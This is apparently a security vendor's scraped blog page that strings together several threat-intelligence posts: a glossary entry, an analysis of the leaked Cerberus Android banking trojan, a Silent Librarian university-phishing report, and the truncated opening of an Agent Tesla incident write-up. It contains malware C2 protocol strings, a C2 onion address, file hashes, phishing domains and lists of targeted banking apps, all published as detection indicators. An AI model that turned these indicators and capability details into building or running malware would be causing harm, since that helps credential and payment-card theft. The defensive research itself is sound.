Managed Service Provider - A supplier that delivers a portfolio of IT services to business customers via ongoing support and active administration, all of which are typically underpinned by a Service Level Agreement. A Managed Service Provider may provide their own Managed Services or offer their own services in conjunction with other IT providers’ services. The Managed Services might include:
- Cloud computing services (resale of cloud services, or in-house public and private cloud services, built and provided by the Managed Service Providers)
- Workplace services
- Managed Network
- Consulting
- Security services
- Outsourcing
- Service Integration and Management
- Software Resale
- Software Engineering
- Analytics and Artificial Intelligence (AI)
- Business Continuity and Disaster Recovery services
The Managed Services might be delivered from customer premises, from customer data centers, from Managed Service Providers’ own data centers, or from 3rd party facilities (co-location facilities, public cloud data centers, or network Points of Presence (PoPs)). |
# Cerberus is Dead, Long Live Cerberus?
**Executive Summary**
This blog provides an overview of the situation surrounding the release of the source code and supplementary ‘injection’ files for the Android banking trojan ‘Cerberus’. In addition to the source code for two versions of the malicious application along with the control panel being freely available on various underground forums, over two hundred injection files, those being HTML pages that mimic the look of legitimate Android apps, have been distributed and could allow the theft of credentials and/or payment card data.
Given that the current threat from Cerberus was countered by Google Play Protect, Google’s own Android antimalware solution, other threat actors may act on comments from Cerberus’ creators to restore the threat, or simply use the source code to create or further develop their own Android threats.
Recent reports indicate that Cerberus is now targeting Android users in Russia as well as countries within the Commonwealth of Independent States (CIS), suggesting that some ‘less-patriotic’ threat groups have modified the source code and removed these previously defined ‘safe countries’. Other than this activity, no other regions have been specifically identified at increased risk.
As time elapses and threat actors gain a better understanding of the released code, others may seek to utilize it, or the injection pages, in their own threats or campaigns. This is especially true given the availability of a Cerberus ‘installation service’, costing just USD 300, that could allow a lower-sophistication threat actor to gain access to a working Cerberus control panel with Android application package (APK) builder for a fraction of its former cost.
## Introduction
Believed to have been in development for some time and used privately for around two years prior to being first observed by cybersecurity researchers in June 2019, Cerberus is an Android banking trojan that was available via a malware-as-a-service (MaaS) offering as advertised on underground forums.
As is common for threats of this nature, Cerberus supports various capabilities out-of-the-box, such as the ability to interact with and steal data from a compromised device including contacts, SMS interception, and call forwarding, as well as selling addons in the form of ‘injections’ that allow credentials and/or payment card data to be stolen from specific legitimate applications.
Reportedly earning the creators at least USD 10,000 a month during its peak, notwithstanding any ill-gotten gains made from stolen data, the MaaS model used to rent access to Cerberus’ infrastructure was, when not discounted, available in three packages (USD 4,000 for 3 months, USD 7,000 for 6 months, and USD 12,000 for one year of access) in addition to injections reportedly selling for USD 4,000 each.
Having purchased a license, nefarious users would gain access to the Cerberus control panel which allowed them to build an Android application package (APK) file ready for distribution to victims, as well as providing them with the ability to manage their compromised devices and access any stolen data.
Having configured and generated an APK payload file, threat actors would then need to deliver this to victims likely through the use of social engineering tactics and campaigns such as ‘fake media player’ messages shown to Android users visiting a compromised or malicious website as well as fake mobile apps uploaded to various app stores and even the use of COVID-19 themes during the global pandemic.
Reportedly one of the most successful Android banking trojans and MaaS threats of 2019 and into 2020, Cerberus’ reign came to a somewhat abrupt end in August 2020 with the creator citing ‘internal issues’ that prevented ongoing development and undoubtedly contributed to the threat being detected and blocked by Google’s built-in antimalware protection ‘Google Play Protect’.
## Attempted Sale
Whilst still in development as late as 21 July 2020, seemingly the period between 22 and 26 July 2020 saw Cerberus being detected by Google Play Protect and customers taking to the forum to complain about their ‘bots dropping off’.
In response to these complaints, ‘Android’, Cerberus’ creator or the group’s spokesperson, suggested on 28 July 2020 that the threat was still operational, albeit requiring the use of a ‘cryptor’ to prevent detection. Tools known as ‘cryptors’ are often used by malware authors and utilize various encryption routines to thwart the analysis of malicious binaries as well as obfuscating or modifying their code to evade detection signatures.
In this instance, it appears that the solution to Cerberus’ problems was not as simple as using a ‘cryptor’ and was promptly followed by the group ceasing development following ‘internal issues’. In addition to the threat group reportedly disbanding, with existing Cerberus infections being inoperational due to their detection, the malware-as-a-service (MaaS) offering, including all source code, installation guides, and setup scripts along with details of current and prospective customers, was reportedly offered for auction at the end of July 2020 with a starting price of USD 50,000 and a ‘buy-it-now’ price of USD 100,000.
Appearing somewhat steeply priced, it is likely that a suitably motivated and skilled threat actor could have recouped their outlay within a year, especially given the reported USD 10,000 monthly earnings, although, given that the auction failed to find a buyer, the ‘market’ didn’t agree with this valuation or the viability of Cerberus following its detection by Google Play Protect.
## Source Code Release
Following the failed auction attempt, and potentially in an attempt to restore confidence in the group, ‘Android’ posted a message to the ‘XSS[.]is’ forum on 5 August 2020 to confirm that they would be fulfilling any financial commitments to existing customers, presumably by refunding them any access payments, and that the source code would be made available to the forum’s members.
Seemingly available on various underground forums from around 7 August 2020, a subsequent post by ‘Android’ on the XSS[.]is forum on 10 August 2020 included a cleaned-up archive. Analysis of the source code archive indicates that the directories have modification dates of 5 August 2020, confirming the archive creation of the file that aligns with the forum posts, whilst the files, excluding any open-source libraries used, have various modification dates between 31 March 2019 and July 21 2020, again consistent with what is known about Cerberus’ recent development.
Included within the main archive are four main directories:
- **moduleBot2** – Java source code and assets for the Cerberus v2 Android payload including build files for use with the ‘Gradle’ build automation tool. Based on application icons found within the directory structure, the threat appears to mimic a ‘Santander’ banking app but it is understood that this would be customizable when using the ‘builder’ control panel.
- **panel_v2** – HTML, JavaScript, and PHP source code for the server that provides the Cerberus control panel, APK payload builder, and the command and control (C2) call-home ‘gate.php’ script. Notably, the payload builder takes parameters from the threat actor and then executes the Gradle build automation tool before allowing the payload to be downloaded. Additionally, ‘cryptor’ code appears within this directory that could allow payloads to thwart analysis or detection albeit, based on the Google Play Protect detection, this has been countered.
- **restapi_v2** – Seemingly allowing interactions between bots and the C2 server/control panel, the REST API directory includes PHP code and provides an insight into the status of a bot including the relatively short period of time elapsed for it to be considered ‘dead’:
- 0 – Online (Bot has been visible within the last 2 minutes);
- 1 – Offline (Bot has been visible within the 40hrs but not last 2 minutes);
- 2 – Dead (Bot has not been seen within the last 40hrs);
- **source_mmm** – Java source code and assets for the Cerberus v1 Android payload, again including build files for use with the ‘Gradle’ build automation tool. Furthermore, a SQL dump file is included within the archive and provides an insight into the backend database behind the Cerberus control panel.
In addition to this database backup detailing the data stored on bots and compromised hosts, base64-encoded ‘injects’ are included to mimic and steal credentials or payment card data by posing as the following Android applications:
- Connect for Hotmail & Outlook (com.connectivityapps.hotmail)
- Gmail (com.google.android.gm)
- Imo (com.imo.android.imoim)
- Instagram (com.instagram.android)
- mail.com Mail (com.mail.mobile.android.mail)
- Microsoft Outlook (com.microsoft.office.outlook)
- Snapchat (com.snapchat.android)
- Telegram (org.telegram.messenger)
- Twitter (com.twitter.android)
- Uber (com.ubercab)
- Viber Messenger (com.viber.voip)
- WeChat (com.tencent.mm)
- WhatsApp Messenger (com.whatsapp)
- Yahoo Mail (com.yahoo.mobile.client.android.mail)
## Current Capabilities
Whilst the immediate threat from Cerberus has been countered by Google Play Protect, the release of the source code provides other threat actors with the ability to analyze and understand how Cerberus’ modular capabilities were implemented, potentially allowing others to extend them or reuse the code in other Android threats.
As is to be expected of a successful Android threat, Cerberus claims to work on devices using Android 5 or later and, having gained ‘accessibility’ permissions, can automatically permit additional permissions for itself including:
- android.permission.INTERNET
- android.permission.CALL_PHONE
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.RECEIVE_BOOT_COMPLETED
- android.permission.READ_PHONE_STATE
- android.permission.REQUEST_DELETE_PACKAGES
- android.permission.RECEIVE_SMS
- android.permission.READ_SMS
- android.permission.SEND_SMS
- android.permission.READ_CONTACTS
- android.permission.WAKE_LOCK
Given these permissions, many capabilities can be identified, such as those that are consistent with a remote access trojan gaining access to and control over the device:
- Screenshot and audio recording
- Keylogging from within applications
- Access and exfiltrate contacts
- Device location tracking
- Application download, execution, and removal
- Device lock
- Mute all device sound and disable vibrate alerts
Additionally, specific banking trojan capabilities provide the means to gather credentials and payment card data as well as thwarting additional security measures such as one-time passwords, multi-factor authentication, and voice calls:
- Access, send, receive, and delete SMS (ideal for capturing one-time passwords)
- Call forwarding (potentially allowing the interception of voice calls)
- Credential and payment card data theft through application injections
- Local installation and automatic (timed) enable of injections to allow operation with limited network coverage
- Theft of multi-factor authentication codes from Google Authenticator
In an attempt to evade security controls and thwart analysis, Cerberus implemented anti-emulator code to ensure that it was only executed on a valid physical device, attempted to disable Google Play Protect, albeit until its detection, and provided a self-destruct mechanism to remove traces of the bot to prevent post-incident analysis.
Finally, command and control (C2) traffic is RC4 encrypted and base64-encoded using a random key. Subsequently, ‘call home’ communications include useful data about the device which is viewable within the control panel:
- Android operating system version
- Battery status
- Device manufacturer/model
- IP address
- Network operator
- Telephone number
- System locale (Country and language)
- Screen status (Locked or Unlocked)
- Google Play Protect status
- SMS intercept status
- Availability of bank, card, and email credentials/data
- Infection date and bot up-time
- Telephone activity, used to determine if it is an emulator
## Injections
Cerberus makes use of ‘injections’ to target legitimate applications, including those related to banking, email, messaging, retail, and social media, with pages that mimic the targeted application interface and prompt for credentials and/or payment card details from the victim.
These HTML-based injects are provided as a single file asset, allowing them to be easily stored within the command and control (C2) database and distributed to victim devices, integrating cascading style sheets (CSS) to ensure the layout is consistent with the targeted application as well as embedding base64-encoded images.
Once deployed, a victim would be presented with the inject when attempting to access a targeted application and, assuming they fall for the ruse, the data entered is inserted into a JSON data structure ready for exfiltration by Cerberus to the C2 infrastructure.
Seemingly a ‘starter kit’ was offered by Cerberus with a handful of injections to target Italy, France, Turkey, and the United States, whilst additional injections could be purchased. Notably, in addition to base64-encoded injects embedded within the SQL dump file distributed with the Cerberus control panel source code, archives of this recent release distributed on underground forums include over 200 additional inject files potentially including some that would have previously been charged for.
Given that these inject files mimic many current mobile applications, the release of this large set could allow other malware authors to incorporate them into their own mobile threats as well as being of use to any threat actor that can make use of or further develop the Cerberus source code.
## Potential Future Developments
### Increased Targeting
As is common with cybercrime threats originating from Russia or countries within the Commonwealth of Independent States (CIS), threat actors will only target victims in other countries as confirmed by a string variable within Cerberus’ source code containing a safe list of country codes:
`public String strCIS = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";`
Since the public release of Cerberus’ source code, other seemingly less-patriotic threat actors have removed or modified this restriction and there is now reportedly an increase in victims within Russia and CIS countries. Aside from this shift in targeting, no other region has been identified as suffering from increased attacks although, with time, other threat actors may seek to leverage their access to the source code and potentially launch attacks in regions where Android devices are prevalent whilst less likely to be protected by current versions of Google Play Protect.
### Variants
In addition to threat actors taking the Cerberus source code ‘as-is’ and attempting to launch their own campaigns, especially given that an ‘enterprising’ user on the XSS[.]is forum is offering an installation service for just USD 300, others may seek to build upon the existing code or create their own variants to resolve the issues that caused Google Play Protect to detect the threat.
One such example that has been reported as a variant of Cerberus is a threat dubbed ‘Alien’ although both the creators of Alien and Cerberus have denied any link between the two. Providing any would-be successor with the necessary information to resolve Cerberus’ issues, two suggestions are given to counter Google Play Protect’s ability to scan application resources.
Whilst it is likely only a matter of time before a suitably skilled nefarious developer resolves the issues with Cerberus, the release of the source code will undoubtedly assist the Google Play Protect team in creating countermeasures. That being said, organizations should still encourage users to be cautious whenever prompted to install Android packages (APK) from unverified sources, be that a browser pop-up, an email, or from a third-party app marketplace.
## Appendix A – Samples
The following SHA-256 file hashes relate to the leaked files, as observed on multiple underground forums, and may prove beneficial to security professionals wishing to perform their own analysis of the threat:
- Initial source code release: `cerberus_full_package.7z`
`2ba17fabce13866b6f161250f00d85e14fefc6334dc1bdd881bb71ba41a69d80`
- ‘Cleaned-up’ source code release: `CERBERUS_V2.zip`
`733fc478acd6ef668f88131f505921fddc88e9a207e5ee304b37babf0b8a553d`
- Injections collection: `injects.zip`
`856ea6fd89f431274335614e91fdd83a99aaa3243395a28d7e55307a04090923`
- Bundle containing the above, released on ‘Alphazine[.]ru’: `cerberus.zip`
`beabdc7eedea45771c11e2319f810035fdbf67e725b593a80ef54438ee3731f5`
Given the current status of Cerberus, indicators of compromise (IOC) related to past Cerberus threats are somewhat redundant although the command and control (C2) Tor hidden service still appears to be accessible via `cerberesfgqzqou7.onion`.
Additionally, the following HTTP command and control (C2) communication strings were observed within the source code and may appear in derivative works:
- `action=getinj&data=`
- `action=injcheck&data=`
- `action=botcheck&data=`
- `||no||`
- `action=registration&data=`
- `action=sendInjectLogs&data=`
- `action=sendSmsLogs&data=`
- `action=timeInject&data=`
- `public String str_http_19 = “action=sendKeylogger&data=”;`
- `public String str_http_20 = “action=getModule&data=”;`
- `public String str_http_21 = “action=checkAP&data=”;`
- `action=sendKeylogger&data=`
- `action=getModule&data=`
- `action=checkAP&data=`
## Appendix B – Injections
Injection files have been provided alongside the Cerberus source code and target the following legitimate Android applications:
- ABANCA Empresas: `com.abanca.bancaempresas`
- ABANCA Banca Móvil: `es.caixagalicia.activamovil`
- ABN AMRO Mobiel Bankieren: `com.abnamro.nl.mobile.payments`
- Akbank: `com.akbank.android.apps.akbank_direkt`
- Allegro: `pl.allegro`
- Amazon Shopping: `com.amazon.mShop.android.shopping`
- ASB Mobile Banking: `nz.co.asb.asbmobile`
- Banca Digital Liberbank: `es.liberbank.cajasturapp`
- Banca Móvil Laboral Kutxa: `com.tecnocom.cajalaboral`
- Banca MPS: `copergmps.rt.pf.android.sp.bmps`
- Banca Transilvania: `ro.btrl.mobile`
- Banco Caixa Geral España: `es.caixageral.caixageralapp`
- Banco Itaú Empresas: `com.itau.empresas`
- Banco Sabadell: `net.inverline.bancosabadell.officelocator.android`
- Bank Austria MobileBanking: `com.bankaustria.android.olb`
- Bank Hapoalim: `com.ideomobile.hapoalim`
- Bank Millennium: `wit.android.bcpBankingApp.millenniumPL`
- Bank Millennium for Companies: `pl.millennium.corpApp`
- Bank of America Mobile Banking: `com.infonow.bofa`
- Bank of Melbourne Mobile Banking: `org.bom.bank`
- Bankia: `es.cm.android`
- Bankinter Móvil: `com.bankinter.launcher`
- BankSA Mobile Banking: `org.banksa.bank`
- Banque: `com.caisseepargne.android.mobilebanking`
- Banque Populaire: `fr.banquepopulaire.cyberplus`
- Banque pour tablettes Android: `com.caisse.epargne.android.tablette`
- Barclays: `com.barclays.android.barclaysmobilebanking`
- Barclays Kenya: `com.barclays.ke.mobile.android.ui`
- BBVA Net Cash: `com.bbva.netcash`
- BBVA Spain: `com.bbva.bbvacontigo`
- BEA: `com.mtel.androidbea`
- Bendigo Bank: `com.bendigobank.mobile`
- BHIM UPI, Money Transfer, Recharge & Bill Payment: `com.mobikwik_new`
- Bi en Línea: `gt.com.bi.bienlinea`
- Bill Payment & Recharge, Wallet: `com.oxigen.oxigenwallet`
- Binance: `com.binance.dev`
- bitbank: `cc.bitbank.bitbank`
- Bitcoin Wallet Coincheck: `jp.coincheck.android`
- Blockchain Wallet: `piuk.blockchain.android`
- BMO Mobile Banking: `com.bmo.mobile`
- BNL: `it.bnl.apps.banking`
- BNP Paribas GOMobile: `com.finanteq.finance.bgz`
- BOCHK: `com.bochk.com`
- BOQ Mobile: `com.bankofqueensland.boq`
- Boursorama Banque: `com.boursorama.android.clients`
- BPI APP: `pt.bancobpi.mobile.fiabilizacao`
- BPS Mobilnie: `pl.bps.bankowoscmobilna`
- BusinessPro Lite: `pl.bph`
- CA24 Mobile: `com.finanteq.finance.ca`
- CaixaBank: `es.lacaixa.mobile.android.newwapicon`
- Caixadirecta: `cgd.pt.caixadirectaparticulares`
- Cajalnet: `es.ceca.cajalnet`
- Cajasur: `com.cajasur.android`
- Capital One® Mobile: `com.konylabs.capitalone`
- Carige Mobile: `it.carige`
- Carrefour Finance: `be.fimaser.smartphone`
- Ceneo: `pl.ceneo`
- CEPTETEB: `com.teb`
- Chase Mobile: `com.chase.sig.android`
- CIBC Mobile Banking: `com.cibc.android.mobi`
- CIC: `com.cic_prod.bad`
- Citi Handlowy: `com.konylabs.cbplpat`
- CMSO my bank: `com.arkea.android.application.cmso2`
- Coinbase Wallet: `org.toshi`
- comdirect mobile App: `de.comdirect.android`
- CommBank: `com.commbank.netbank`
- Commerzbank Banking: `de.commerzbanking.mobil`
- Connect for Hotmail & Outlook: `com.connectivityapps.hotmail`
- Consorsbank: `de.consorsbank`
- Credem: `com.CredemMobile`
- Crédit du Nord pour Mobile: `com.ocito.cdn.activity.creditdunord`
- Crédit Mutuel: `com.cm_prod.bad`
- Crédit Mutuel de Bretagne: `com.arkea.android.application.cmb`
- ČSOB Smartbanking: `cz.csob.smartbanking`
- CUA Mobile Banking: `au.com.cua.mb`
- DB Pay: `com.db.pbc.DBPay`
- Deutsche Bank Mobile: `com.db.pwcc.dbmobile`
- Discount Bank: `com.ideomobile.discount`
- Discover Mobile: `com.discoverfinancial.mobile`
- DKB-Banking: `de.dkb.portalapp`
- Empik: `com.empik.empikapp`
- Empik Foto: `com.empik.empikfoto`
- Enpara.com Cep Şubesi: `finansbank.enpara`
- eurobank mobile 2.0: `pl.eurobank2`
- EVO Banco móvil: `es.evobanco.bancamovil`
- Fifth Third Mobile Banking: `com.clairmail.fth`
- Fortuneo, mes comptes banque & bourse en ligne: `com.fortuneo.android`
- Garanti BBVA Mobile: `com.garanti.cepsubesi`
- Getin Mobile: `com.getingroup.mobilebanking`
- Gmail: `com.google.android.gm`
- GMO Wallet: `com.gmowallet.mobilewallet`
- Grupo Cajamar: `com.grupocajamar.wefferent`
- Halifax Mobile Banking: `com.grppl.android.shell.halifax`
- Halkbank Mobil: `com.tmobtech.halkbank`
- HSBC Mobile Banking: `com.htsu.hsbcpersonalbanking`
- HVB Mobile Banking: `eu.unicreditgroup.hvbapptan`
- Ibercaja: `es.ibercaja.ibercajaapp`
- iBiznes24 mobile: `pl.bzwbk.ibiznes24`
- iBOSStoken: `hr.asseco.android.mtoken.bos`
- IDBI Bank GO Mobile+: `com.snapwork.IDBI`
- Idea Bank PL: `pl.ideabank.mobilebanking`
- IKO: `pl.pkobp.iko`
- Imagin: `com.imaginbank.app`
- imo free video calls and chat: `com.imo.android.imoim`
- iMobile by ICICI Bank: `com.csam.icici.bank.imobile`
- ING Banking to go: `de.ingdiba.bankingapp`
- ING Business: `com.comarch.security.mobilebanking`
- ING España: `www.ingdirect.nativeframe`
- ING Italia: `it.ingdirect.app`
- Instagram: `com.instagram.android`
- Intesa Sanpaolo Mobile: `com.latuabancaperandroid_2`
- Intesa Sanpaolo Mobile: `com.latuabancaperandroid`
- iPKO biznes: `pl.pkobp.ipkobiznes`
- İşCep: `com.pozitron.iscep`
- Kraken Pro: `com.kraken.trade`
- Kutxabank: `com.kutxabank.android`
- Kuveyt Türk: `com.kuveytturk.mobil`
- L’Appli Société Générale: `mobi.societegenerale.mobile.lappli`
- La Mia Banca: `com.db.pbc.miabanca`
- La Poste: `fr.laposte.lapostemobile`
- Leumi: `com.leumi.leumiwallet`
- Liquid by Quoine: `com.quoine.quoinex.light`
- Lloyds Bank Mobile Banking: `com.grppl.android.shell.CMBlloydsTSB73`
- Ma Banque: `fr.creditagricole.androidapp`
- mail.com mail: `com.mail.mobile.android.mail`
- mBank PL: `pl.mbank`
- Mes Comptes: `fr.lcl.android.customerarea`
- Mes Comptes BNP Paribas: `net.bnpparibas.mescomptes`
- Mi Banco db: `com.db.pbc.mibanco`
- Mi Banco Mobile: `com.popular.android.mibanco`
- Microsoft Outlook: `com.microsoft.office.outlook`
- Mizrahi Bank: `com.MizrahiTefahot.nh`
- Mobile Banking UniCredit: `com.unicredit`
- Mobile BiznesPl@net: `com.comarch.mobile.banking.bgzbnpparibas.biznes`
- Mobilni Banka: `eu.inmite.prj.kb.mobilbank`
- Mobilny Portfel: `pl.raiffeisen.nfc`
- Mój Orange: `pl.orange.mojeorange`
- Moje ING mobile: `pl.ing.mojeing`
- myAT&T: `com.att.myWireless`
- N26 Mobile Banking: `de.number26.android`
- NAB Mobile Banking: `au.com.nab.mobile`
- NBapp Spain: `com.indra.itecban.mobile.novobanco`
- Nest Bank nowy: `pl.nestbank.nestbank`
- NETELLER: `com.moneybookers.skrillpayments.neteller`
- norisbank App: `com.db.mm.norisbank`
- Oney France: `fr.oney.mobile.mescomptes`
- Openbank: `es.openbank.mobile`
- Papara: `com.mobillium.papara`
- PayPal Mobile Cash: `com.paypal.android.p2pmobile`
- Pekao24Makler: `eu.eleader.mobilebanking.pekao`
- PekaoBiznes24: `eu.eleader.mobilebanking.pekao.firm`
- PeoPay: `softax.pekao.powerpay`
- People’s Choice Credit Union: `com.fusion.ATMLocator`
- Pibank: `es.pibank.customers`
- plusbank24: `eu.eleader.mobilebanking.invest`
- Pocket Bank: `ma.gbp.pocketbank`
- Postbank Finanzassistent: `de.postbank.finanzassistent`
- Postepay: `posteitaliane.posteapp.apppostepay`
- QNB Finansbank Mobile Banking: `com.finansbank.mobile.cepsube`
- Raiffeisen ELBA: `com.isis_papyrus.raiffeisen_pay_eyewdg`
- Raiffeisen Smart Mobile: `com.advantage.RaiffeisenBank`
- Rakuten Bank: `jp.co.rakuten_bank.rakutenbank`
- RBC Mobile: `com.rbc.mobile.android`
- Report: `com.cajasiete.android.cajasietereport`
- Rossmann PL: `pl.com.rossmann.centauros`
- ruralvía: `com.rsi`
- Santander: `es.bancosantander.apps`
- Santander Banking: `de.santander.presentation`
- Santander Empresas: `es.bancosantander.empresas`
- Santander mobile: `pl.bzwbk.bzwbk24`
- ScotiaMóvil: `net.garagecoders.e_llavescotiainfo`
- SCRIGNOapp: `it.popso.SCRIGNOapp`
- SecureApp netbank: `de.adesso_mobile.secureapp.netbank`
- ŞEKER MOBİL ŞUBE: `tr.com.sekerbilisim.mbank`
- Skrill: `com.moneybookers.skrillpayments`
- Smart Mobile Banking: `it.gruppobper.ams.android.bper`
- Snapchat: `com.snapchat.android`
- Sparkasse Ihre mobile Filiale: `com.starfinanz.smob.android.sfinanzstatus`
- St.George Mobile Banking: `org.stgeorge.bank`
- Sumishin SBI Net Bank: `jp.co.netbk`
- Suncorp Bank: `au.com.suncorp.SuncorpBank`
- SunTrust Mobile App: `com.suntrust.mobilebanking`
- TARGOBANK Mobile Banking: `com.targo_prod.bad`
- Telegram: `org.telegram.messenger`
- The International Bank: `com.fibi.nativeapp`
- Touch 24 Banking BCR: `at.spardat.bcrmobile`
- Triodos Bank: `com.indra.itecban.triodosbank.mobile.banking`
- Twitter: `com.twitter.android`
- U.S. Bank: `com.usbank.mobilebanking`
- Uber: `com.ubercab`
- UBI Banca: `it.nogood.container`
- UnicajaMovil: `es.univia.unicajamovil`
- Union Bank: `com.unionBank.app`
- Union Bank Mobile Banking: `com.unionbank.ecommerce.mobile.android`
- USAA Mobile: `com.usaa.mobile.android.usaa`
- Usługi Bankowe: `alior.bankingapp.android`
- VakıfBank Mobil Bankacılık: `com.vakifbank.mobile`
- Viber Messenger: `com.viber.voip`
- Volksbank house banking: `at.volksbank.volksbankmobile`
- VR Banking Classic: `de.fiducia.smartphone.android.banking.vr`
- WeChat: `com.tencent.mm`
- Wells Fargo Mobile: `com.wf.wellsfargomobile`
- Western Union ES: `com.westernunion.moneytransferr3app.es`
- WhatsApp Messenger: `com.whatsapp`
- Yahav Bank: `il.co.yahav.mobbanking`
- Yahoo Mail: `com.yahoo.mobile.client.android.mail`
- Yapı Kredi Mobile: `com.ykb.android`
- Yono Lite SBI: `com.sbi.SBIFreedomPlus`
- YouApp: `com.lynxspa.bancopopolare`
- Ziraat Mobile: `com.ziraat.ziraatmobil` |
# Silent Librarian APT Right on Schedule for 20/21 Academic Year
A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back. In mid-September, we were tipped off by one of our customers about a new active campaign from this APT group. Based on a number of intended victims, we can tell that Silent Librarian does not limit itself to specific countries but tries to get wider coverage.
Even though many phishing sites have been identified and taken down, the threat actor has built enough of them to continue with a successful campaign against staff and students alike.
## A Persistent Threat Actor with a Perfect Attendance Record
In March 2018, nine Iranians were indicted by the US Department of Justice for conducting attacks against universities and other organizations with the goal of stealing research and proprietary data. Yet, both in August 2018 and 2019, Silent Librarian was lining up for the new academic years, once again targeting the same kind of victims in over a dozen countries.
IT administrators working at universities have a particularly tough job considering that their customers, namely students and teachers, are among the most difficult to protect due to their behaviors. Despite that, they also contribute to and access research that could be worth millions or billions of dollars. Considering that Iran is dealing with constant sanctions, it strives to keep up with world developments in various fields, including that of technology. As such, these attacks represent a national interest and are well funded.
## Same Pattern in Phishing Domain Registration
The new domain names follow the same pattern as previously reported, except that they swap the top-level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic institutions, and this is still the case, alongside “.tk” and “.cf”. This new phishing campaign has been tracked by several security researchers on Twitter, notably Peter Kruse from the CSIS Security Group.
| Phishing Site | Legitimate Site | Target |
|-------------------------------------------|-------------------------------------|------------------------------------------|
| library.adelaide.crev.me | library.adelaide.edu.au | The University of Adelaide Library |
| signon.adelaide.edu.au.itlib.me | library.adelaide.edu.au | The University of Adelaide Library |
| blackboard.gcal.crev.me | blackboard.gcal.ac.uk | Glasgow Caledonian University |
| blackboard.stonybrook.ernn.me | blackboard.stonybrook.edu | Stony Brook University |
| blackboard.stonybrook.nrni.me | blackboard.stonybrook.edu | Stony Brook University |
| namidp.services.uu.nl.itlib.me | namidp.services.uu.nl | Universiteit Utrecht |
| uu.blackboard.rres.me | uu.blackboard.com | Universiteit Utrecht |
| librarysso.vu.cvrr.me | librarysso.vu.edu.au | Victoria University |
| ole.bris.crir.me | ole.bris.ac.uk | University of Bristol |
| idpz.utorauth.utoronto.ca.itlf.cf | idpz.utorauth.utoronto.ca | University of Toronto |
| raven.cam.ac.uk.iftl.tk | raven.cam.ac.uk | University of Cambridge |
| login.ki.se.iftl.tk | login.ki.se | Karolinska Medical Institutet |
| shib.york.ac.uk.iftl.tk | shib.york.ac.uk | University of York |
| sso.id.kent.ac.uk.iftl.tk | sso.id.kent.ac.uk | University of Kent |
| idp3.it.gu.se.itlf.cf | idp3.it.gu.se | Göteborg universitet |
| login.proxy1.lib.uwo.ca.sftt.cf | login.proxy1.lib.uwo.ca | Western University Canada |
| login.libproxy.kcl.ac.uk.itlt.tk | kcl.ac.uk | King’s College London |
| idcheck2.qmul.ac.uk.sftt.cf | qmul.ac.uk | Queen Mary University of London |
| lms.latrobe.aroe.me | lms.latrobe.edu.au | Melbourne Victoria Australia |
| ntulearn.ntu.ninu.me | ntulearn.ntu.edu.sg | Nanyang Technological University |
| adfs.lincoln.ac.uk.itlib.me | adfs.lincoln.ac.uk | University of Lincoln |
| cas.thm.de.itlib.me | cas.thm.de | TH Mittelhessen University of Applied Sciences |
| libproxy.library.unt.edu.itlib.me | library.unt.edu | University of North Texas |
| shibboleth.mcgill.ca.iftl.tk | shibboleth.mcgill.ca | McGill University |
| vle.cam.ac.uk.canm.me | vle.cam.ac.uk | University of Cambridge |
Registering these subdomains to perform phishing attacks against universities is a known behavior for this APT group, and therefore we can expect that they were registered by the same actor.
## Phishing Sites Hosted in Iran
The threat actor uses Cloudflare for most of their phishing hostnames in order to hide the real hosting origin. However, with some external help, we were able to identify some of their infrastructure located on Iran-based hosts. It may seem odd for an attacker to use infrastructure in their own country, possibly pointing a finger at them. However, here it simply becomes another bulletproof hosting option based on the lack of cooperation between US or European law enforcement and local police in Iran.
Clearly, we only uncovered a small portion of this phishing operation. Although for the most part the sites are taken down quickly, the attacker has the advantage of being one step ahead and is going for many possible targets at once. We are continuing to monitor this campaign and are keeping our customers safe by blocking the phishing sites.
## Indicators of Compromise (IOCs)
- library[.]adelaide[.]crev[.]me
- signon[.]adelaide[.]edu[.]au[.]itlib[.]me
- blackboard[.]gcal[.]crev[.]me
- blackboard[.]stonybrook[.]ernn[.]me
- blackboard[.]stonybrook[.]nrni[.]me
- namidp[.]services[.]uu[.]nl[.]itlib[.]me
- uu[.]blackboard[.]rres[.]me
- librarysso[.]vu[.]cvrr[.]me
- ole[.]bris[.]crir[.]me
- idpz[.]utorauth[.]utoronto[.]ca[.]itlf[.]cf
- raven[.]cam[.]ac[.]uk[.]iftl[.]tk
- login[.]ki[.]se[.]iftl[.]tk
- shib[.]york[.]ac[.]uk[.]iftl[.]tk
- sso[.]id[.]kent[.]ac[.]uk[.]iftl[.]tk
- idp3[.]it[.]gu[.]se[.]itlf[.]cf
- login[.]proxy1[.]lib[.]uwo[.]ca[.]sftt[.]cf
- login[.]libproxy[.]kcl[.]ac[.]uk[.]itlt[.]tk
- idcheck2[.]qmul[.]ac[.]uk[.]sftt[.]cf
- lms[.]latrobe[.]aroe[.]me
- ntulearn[.]ntu[.]ninu[.]me
- adfs[.]lincoln[.]ac[.]uk[.]itlib[.]me
- cas[.]thm[.]de[.]itlib[.]me
- libproxy[.]library[.]unt[.]edu[.]itlib[.]me
- shibboleth[.]mcgill[.]ca[.]iftl[.]tk
- vle[.]cam[.]ac[.]uk[.]canm[.]me
- 158[.]58[.]184[.]213
- 46[.]209[.]20[.]154
- 103[.]127[.]31[.]155 |
# Agent Tesla: A Day in a Life of IR
## Introduction
The Agent Tesla information stealer has been around since 2014. During the last two to three years, it has also had a significant distribution growth factor partially due to the fact that cracked versions of it have been leaked. It has been adapted by many advanced and less-sophisticated adversaries; as a result, we can clearly identify a growing number of modified Tesla variants.
This year marks a significant change from previous years in the distribution techniques that are leveraged for Agent Tesla. We have seen this information stealer delivered through exploits, COVID-19 phishing campaigns, integrating advanced steganography, implementing different innovative obfuscation techniques, and more.
The following technical analysis covers a single Agent Tesla attack chain investigation after multiple attack attempts on a Morphisec customer were prevented at the end of October. This was particularly interesting because of the use of multiple advanced techniques that you rarely see combined into a single chain. Some of these advanced techniques that we will cover in this blog include:
- Use of a compromised sender email address
- Double use of exploits to deliver the agent downloader
- Use of advanced DeepSea obfuscator
- Use of double steganography obfuscation to deliver agent loader
- Use of Frenchy shellcode and .Net delegation for whitelisting bypass
- Executing the dark stealer from memory
## Technical Details
### Spearphishing
